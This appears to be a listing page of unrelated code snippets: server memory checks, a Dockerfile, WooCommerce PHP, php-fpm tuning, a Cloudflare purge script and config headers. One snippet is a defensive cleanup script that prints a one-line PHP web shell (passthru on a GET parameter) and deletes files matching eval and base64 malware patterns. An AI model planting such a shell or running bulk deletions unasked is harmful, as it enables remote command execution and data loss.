ps --no-headers -o "rss,cmd" -C php-fpm | awk '{ sum+=$1 } END { printf ("%d%s\n", sum/NR/1024,"M") }'
ps --no-headers -o "rss,cmd" -C apache2 | awk '{ sum+=$1 } END { printf ("%d%s\n", sum/NR/1024,"M") }'
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM php:cli-alpine | |
RUN mkdir /opt/ppd /mnt/ebooks | |
COPY packtPubDownloader.php /opt/ppd/ | |
VOLUME /mnt | |
WORKDIR /mnt |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
require __DIR__ . '/vendor/autoload.php'; | |
use Automattic\WooCommerce\Client; | |
use Automattic\WooCommerce\HttpClient\HttpClientException; | |
function getWoocommerceConfig() | |
{ | |
$woocommerce = new Client( |
When setting these options consider the following:
- How long is your average request?
- What is the maximum number of simultaneous visitors the site(s) get?
- How much memory on average does each child process consume?
sudo grep max_children /var/log/php?.?-fpm.log.1 /var/log/php?.?-fpm.log
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# See /boot/overlays/README for all available options | |
############################################################################## | |
## Raspberry Pi Configuration Settings | |
## | |
## Revision 18, 2018/03/05 | |
## | |
## Details taken from the eLinux wiki | |
## For up-to-date information please refer to wiki page. | |
## | |
## Wiki Location : http://elinux.org/RPiconfig |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
find . -type f -iname '*.php' -exec sed -i 's/<?php if (isset(\$_GET\["_cmd"\])) die(passthru(\$_GET\["_cmd"\])); ?>//g' "{}" +; | |
find . -iname 'index.php' | xargs grep '\x2fhom' | cut -f1 -d":" | xargs rm | |
find . -iname '*.php' | xargs grep '\x2fh' | cut -f1 -d":" | xargs rm | |
find . -iname '*.php' | xargs grep 'eval("' | grep 337 | cut -f1 -d":" | xargs rm | |
find . -iname '*.php' | xargs grep '\{eval(' | cut -f1 -d":" | xargs rm | |
find . -iname '*.php' | xargs grep '$_COOKIE;' | cut -f1 -d":" | xargs rm | |
find . -iname '*.php' | xargs grep 'create_function'|grep base64_decode| cut -f1 -d":"| xargs rm |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Author: Pat Migliaccio <[email protected]> | |
# License: MIT | |
EMAIL="<Acct_Email>" | |
ZONE="<Zone_ID>" | |
API_KEY="<API_Key>" | |
DATA="{ \"files\": [\"https://example.com/css/style.css\"] }" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
::########################################################################################################################## | |
:: | |
:: This script can ruin your day, if you run it without fully understanding what it does, you don't know what you are doing, | |
:: | |
:: OR BOTH!!! | |
:: | |
:: YOU HAVE BEEN WARNED!!!!!!!!!! | |
:: | |
:: This script is provided "AS IS" with no warranties, and confers no rights. | |
:: Feel free to challenge me, disagree with me, or tell me I'm completely nuts in the comments section, |